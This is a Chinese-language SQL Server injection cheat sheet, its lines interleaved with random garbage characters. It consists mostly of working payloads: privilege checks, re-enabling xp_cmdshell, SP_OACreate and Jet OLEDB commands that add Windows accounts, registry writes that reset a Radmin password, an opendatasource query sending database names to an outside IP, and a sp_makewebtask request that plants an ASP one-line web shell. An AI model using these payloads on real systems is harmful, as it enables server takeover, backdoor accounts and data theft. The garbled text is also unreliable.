//看看是什么权限的
% \+ {4 M2 O P5 b9 u; x7 ]3 fand 1=(Select IS_MEMBER('db_owner'))
3 Q' W! A0 j( i5 v, @% ]. M8 ZAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--6 ]8 K; G3 D) o/ J' B
) W$ |4 [! d2 A2 O8 F# L
//检测是否有读取某数据库的权限
" g8 G& S' @# ]6 k4 i. [and 1= (Select HAS_DBACCESS('master'))1 k% p% p) A! P6 C; V9 r
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
! p" ^7 Y7 n* l4 K8 `" L: l, O
9 `* I2 n9 \0 @$ g' Q: d
& f/ U. |# ]* w8 |9 X' c数字类型
+ u z9 W; Q; B1 p& Tand char(124)%2Buser%2Bchar(124)=0
" g8 I7 f6 W$ j; Y7 u; R8 m- r' n) e# j+ V, x" \$ R' s; G
字符类型
- F4 m% I% s5 T- m' and char(124)%2Buser%2Bchar(124)=0 and ''='9 y- n' G+ |- \3 T* I
2 H% Q( j+ y2 S8 _7 w
搜索类型
' b8 b& ]1 d( m3 U& E' and char(124)%2Buser%2Bchar(124)=0 and '%'='9 @' X. m/ v, m, z1 q' u
: N7 f8 r S! M9 K2 g h Z3 T8 ~爆用户名 t# S6 ?# h) _3 P# B
and user>0" n' b6 P! P* n' j* M% T$ ?0 d
' and user>0 and ''='1 _: M3 R4 F" p, Q$ S# D
( r8 Y0 c6 s: r
检测是否为SA权限
& d9 y3 _) `! d0 yand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 n0 N; b. I, \1 X6 \, l' A" u9 zAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
6 ~- i7 N( P" p7 s# }* W
* P( _7 r! ~2 O/ _& Q6 l% k检测是不是MSSQL数据库" `. E9 E; d5 i8 i2 Y
and exists (select * from sysobjects);--2 U: {) w4 D& z) b+ E
?7 d" i+ R( r! l- v. }. c' C9 d
检测是否支持多行
- q9 E: F: K+ M* f6 N# p" {;declare @d int;--
0 Y+ o6 v: P/ k& U
. ~! h V9 X+ Z% m4 K4 ]恢复 xp_cmdshell
8 _% K1 S) l5 \ e$ D;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
0 @7 n% i1 k9 l: M$ l8 {
4 K! v: o9 R2 I3 L7 N0 g
* n3 a' w# R1 ~* T2 F! hselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')9 a$ }9 }5 O* h& N% y$ F' u1 M
- `: r w/ l" h( w8 J) [//-----------------------% j; R! H b$ [9 G, \- I
// 执行命令$ D! H' Z6 [ s8 W- I! H; y4 A8 y
//-----------------------
& W1 S! @+ k( N, `. X8 A首先开启沙盘模式:
, Z* F' R8 p# Nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1( x- P; v, ~ ~2 x! j: L: }
# |/ Y* n$ G( v, f/ v, u然后利用jet.oledb执行系统命令% Q; h; i+ R. G* b) x0 d1 N9 q: _
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'); y) ]& G, l1 O
, O! F0 |5 f* g! x. @执行命令7 ^' ~' g5 U/ C1 w7 g$ [2 r9 r
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--. _! ]" x4 i9 W+ f* `
& A. @2 N( A+ k1 _- j4 GEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
r3 d. y" j; ?: g* l' c: b- ]$ R1 D
判断xp_cmdshell扩展存储过程是否存在:
) F+ L1 m$ U: r8 _5 u! `http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
( _% M- Q- R7 h6 s9 I# Z( `1 M0 {& b" w
写注册表
8 e8 X" D6 u4 j8 J* j0 Fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
6 c$ E; m: n* }9 J/ J/ s
( }9 ^3 l% k& |; j! r6 Q& CREG_SZ
: ~0 Q$ ^+ ~* u+ h% Y z" R
+ k! U. K0 Y% [+ e# R1 z0 I* b4 m读注册表
6 k4 u% L+ `8 ~7 k1 W8 `exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
- Y% I0 ]. s5 R% `, U& {
4 I. B' j( A q" o读取目录内容' I: {6 W4 `5 Q( d) K5 @* R W: h
exec master..xp_dirtree 'c:\winnt\system32\',1,1
6 x- b! J# a: G& M. x2 v1 Z6 t
* D% P b( z; H+ N* N" v9 H' W4 D4 e% J- P6 |. @
数据库备份
T8 \ T2 h( C4 B& n2 Sbackup database pubs to disk = 'c:\123.bak'# y* i5 r% a( s4 J4 I, N" o
% A# X$ A3 x8 F8 Z& P; F0 J
//爆出长度% q- A2 q {# d9 Z. i9 U' l
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--5 V4 B! x* o& [" y
# S+ t, r, r4 a
. [( g# B }7 z$ G
/ h2 a7 V# X6 G8 t* B" E
更改sa口令方法:用sql综合利用工具连接后,执行命令:! X/ P" K+ q9 Z; T. u
exec sp_password NULL,'新密码','sa', a: @/ a, [4 Y' q6 d5 Q
- J# [0 {7 l, a' M3 Z3 h添加和删除一个SA权限的用户test:
4 c' T1 Z4 Y( ?" L% [8 kexec master.dbo.sp_addlogin test,9530772
( _# t- e) S( `exec master.dbo.sp_addsrvrolemember test,sysadmin
8 I+ X! c o5 s0 a( P6 L" J6 s3 |) I9 N
删除扩展存储过过程xp_cmdshell的语句:5 R2 C5 d; I* \
exec sp_dropextendedproc 'xp_cmdshell'& b: e5 d' @* [ r
2 ?# j0 H( h( ^/ N: V( J添加扩展存储过过程, P0 ?) z" J% [
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
/ i' ~7 E" D5 }; c; a0 cGRANT exec On xp_proxiedadata TO public; U9 B+ s. F8 h0 K( s! \
1 ^+ }3 `- L2 v! ^
4 i7 s" S7 T4 w; ^7 P" d3 }停掉或激活某个服务。
; y: T$ `2 B2 c, }5 h8 W8 k) r( k% r! I7 x* t3 F# ?
exec master..xp_servicecontrol 'stop','schedule'
7 h; |$ I5 \- X; q1 t" k( d0 C W' Jexec master..xp_servicecontrol 'start','schedule') a& N% \* W, `1 { s
0 s- _: f U) p9 U& p& B& f
dbo.xp_subdirs
9 D+ E u Y( p' ~ c5 {4 a% t1 S' e
只列某个目录下的子目录。. u7 U0 p( e& @) W" E$ I# i
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
2 B4 P6 J1 _1 s, ` m% n5 f7 B8 p: ?3 l& ?* |2 g
dbo.xp_makecab1 P1 B5 }# c7 b4 r0 y3 x' N
0 _& ~& Q" i$ C1 \/ p3 V# `将目标多个档案压缩到某个目标档案之内。
! x1 M" V2 t2 J1 Z所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。" L. D6 Z! S( D- Q% _3 Q3 H5 X
- Q1 F# V3 g" y4 b. D$ g; E* V
dbo.xp_makecab7 Q3 t/ q. T6 k/ }# K
'c:\test.cab','mszip',1,% _0 ~% D1 e9 A* x- s7 s
'C:\Inetpub\wwwroot\SQLInject\login.asp',# H+ d. J" F; n& o1 T* ]) o
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp': U! u I$ t. g4 g* A
- C4 K' k) w/ f- x8 B) c) xxp_terminate_process- `3 u5 z1 x, z3 x, I
* E9 h0 v' E1 H) K( g" E
停掉某个执行中的程序,但赋予的参数是 Process ID。( q. _' S2 \* D" k) X1 a6 o
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
. I4 O2 ^2 |1 b& E2 g' y8 L
( Q! M& ?9 U/ r+ B# z! \xp_terminate_process 2484
9 x ^4 I$ W7 r' c" E, N2 Z9 y H/ a$ V: V
xp_unpackcab
! F: n& {7 ~1 N! G4 i u7 K1 e, P# {0 m+ }
解开压缩档。& p# ~. ?8 N6 ?7 Z
; w' L$ t: S. E. n
xp_unpackcab 'c:\test.cab','c:\temp',15 _: _/ N2 v Y/ t' E1 i3 H& F) r
' K1 H+ l% r4 @4 n+ A8 _' H2 t
4 x2 z9 C/ Y8 b/ J3 h
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12342 m ~& y( S: ]" i: x
, E, Q4 W+ H4 x: [create database lcx;
- m4 k8 [: w; q4 C% G& _Create TABLE ku(name nvarchar(256) null);
. T; i1 }& G( F% n, RCreate TABLE biao(id int NULL,name nvarchar(256) null);& u6 ~$ v3 v: z- ?( k
6 y$ \9 H0 Y1 m1 u% S//得到数据库名
* ?; v- [5 ^, W# ^insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
3 E9 v$ I3 ?3 @5 @* {* v- a( o
, S& ], B% a" F# L/ P2 S0 u, o9 }' ^1 W
1 E! _1 o3 m; t4 w: z' o$ g, `//在Master中创建表,看看权限怎样- y% X' o! R2 \5 L- Z* H
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--3 O4 p/ E- j0 a4 _; }9 C0 \- r+ b
, ~% r% b9 J4 g5 R/ Z& C+ Q- k) C, W
用 sp_makewebtask直接在web目录里写入一句话马:& _ E+ O5 s1 j
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--, f4 B, A" Q0 D. _' x
& s i# C8 \7 k: q1 K$ ^ X4 n$ B//更新表内容
& I A% @6 P- J+ g5 u# v. I% l* nUpdate films SET kind = 'Dramatic' Where id = 123' {! j* g0 e, E3 U
6 t/ X9 Z" U# C: Y$ m! K//删除内容
/ ]' T5 u" z/ ^( y- sdelete from table_name where Stockid = 3 |